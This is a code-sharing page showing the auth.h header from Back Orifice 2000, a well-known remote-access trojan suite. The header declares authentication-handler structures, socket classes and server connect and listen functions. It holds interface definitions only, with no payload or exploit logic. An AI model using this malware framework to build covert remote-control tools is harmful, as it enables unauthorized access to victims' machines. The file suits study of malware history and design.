auth.h
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:4k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This file is free software, and not subject to GNU Public License
  4. restrictions; you can redistribute it and/or modify it in any way 
  5. you see fit. This file is suitable for inclusion in a derivative
  6. work, regardless of license on the work or availability of source code
  7. to the work. If you redistribute this file, you must leave this
  8. header intact.
  9.     
  10. This program is distributed in the hope that it will be useful,
  11.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  12.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  
  13. The author of this program may be contacted at dildog@l0pht.com. */
  14. #ifndef __INC_AUTH_H
  15. #define __INC_AUTH_H
  16. #include<windows.h>
  17. #include<iohandler.h>
  18. #include<encryption.h>
  19. #define MAX_AUTH_HANDLERS 8
  20. #define INVALID_AUTH_HANDLER ((AUTH_HANDLER *) NULL)
  21. // Socket class
  22. #pragma pack(push, 1)
  23. // IO Handler Structure
  24. typedef struct {
  25. int (__cdecl *pInsert)(void);
  26. int (__cdecl *pRemove)(void);
  27. char *(__cdecl *pQuery)(void);
  28. void *(__cdecl *pOnListen)(CIOSocket *pSock, CEncryptionEngine *pEnc, int nUserId);
  29. void *(__cdecl *pOnConnect)(CIOSocket *pSock, CEncryptionEngine *pEnc, int nUserId);
  30. void *(__cdecl *pOnAccept)(void *pInternal, CIOSocket *pSock, CEncryptionEngine *pEnc);
  31. int (__cdecl *pGetUserID)(void *pInternal);
  32. int (__cdecl *pOnClose)(void *pInternal);
  33. int (__cdecl *pOnRecv)(void *pInternal, CEncryptionEngine *pEnc, BYTE *pData, int nDataLen, BYTE **pInData, int *pnInDataLen);
  34. int (__cdecl *pOnSend)(void *pInternal, CEncryptionEngine *pEnc, BYTE *pData, int nDataLen, BYTE **pOutData, int *pnOutDataLen);
  35. void (__cdecl *pFree)(void *pInternal, BYTE *pBuffer);
  36. BOOL (_cdecl *pValidateCommand)(int nUserId, int nCommand);
  37. } AUTH_HANDLER;
  38. class CAuthSocket {
  39. private:
  40. void *m_pData;
  41. public:
  42. AUTH_HANDLER *m_pHandler;
  43. IO_HANDLER *m_pIOH;
  44. ENCRYPTION_ENGINE *m_pEE;
  45. CIOSocket *m_pSock;
  46. CEncryptionEngine *m_pEnc;
  47. CAuthSocket(AUTH_HANDLER *pHandler, IO_HANDLER *pIOH, ENCRYPTION_ENGINE *pEE);
  48. virtual ~CAuthSocket();
  49. virtual int Listen(char *svTarget, int nUserId);
  50. virtual int Connect(char *svTarget, int nUserId);
  51. virtual CAuthSocket *Accept(void);
  52. virtual int GetUserID(void);
  53. virtual int Close(void);
  54. virtual int Recv(BYTE **pInData, int *pnInDataLen);
  55. virtual int Send(BYTE *pData, int nDataLen);
  56. virtual void Free(BYTE *pBuffer);
  57. virtual int GetRemoteAddr(char *svAddr,int nMaxLen);
  58. virtual int GetConnectAddr(char *svAddr,int nMaxLen);
  59. virtual AUTH_HANDLER *GetAuthHandler(void);
  60. };
  61. #pragma pack(pop)
  62. // Authentiction Handler Manager Functions
  63. class CAuthHandler {
  64. private:
  65. AUTH_HANDLER *m_AuthHandler[MAX_AUTH_HANDLERS];
  66. public:
  67. CAuthHandler();
  68. virtual ~CAuthHandler();
  69. virtual int Insert(AUTH_HANDLER *handler);
  70. virtual int Remove(int handlernum);
  71. virtual char *Query(int nHandler);
  72. virtual int GetHandlerCount(void);
  73. virtual AUTH_HANDLER *GetHandler(int nHandler);
  74. virtual AUTH_HANDLER *GetHandlerByID(char *svID);
  75. };
  76. typedef int (INTERACTIVE_CONNECT)(HWND hParent,LPCSTR svBindStr,LPCSTR svNetMod,LPCSTR svEncryption,LPCSTR svAuth,char *svRBindStr,char *svRNetMod,char *svREncryption,char *svRAuth);
  77. typedef int (INTERACTIVE_LISTEN)(HWND hParent,LPCSTR svBindStr,LPCSTR svNetMod,LPCSTR svEncryption,LPCSTR svAuth,char *svRBindStr,char *svRNetMod,char *svREncryption,char *svRAuth);
  78. #ifdef __BO2KSERVER__
  79. int IssueAuthCommandRequest(CAuthSocket *cas_from, int command, int comid, int nArg1, char *svArg2, char *svArg3);
  80. int IssueAuthCommandReply(CAuthSocket *cas_from, int comid, int nReplyCode, char *svReply);
  81. CAuthSocket *ConnectAuthSocket(INTERACTIVE_CONNECT *pIC, int nUserId, HWND hParent, LPCSTR svBindStr, LPCSTR svNetMod, LPCSTR svEncryption, LPCSTR svAuth);
  82. CAuthSocket *ListenAuthSocket(INTERACTIVE_LISTEN *pIL, int nUserId, HWND hParent, LPCSTR svBindStr, LPCSTR svNetMod, LPCSTR svEncryption, LPCSTR svAuth);
  83. #endif
  84. #endif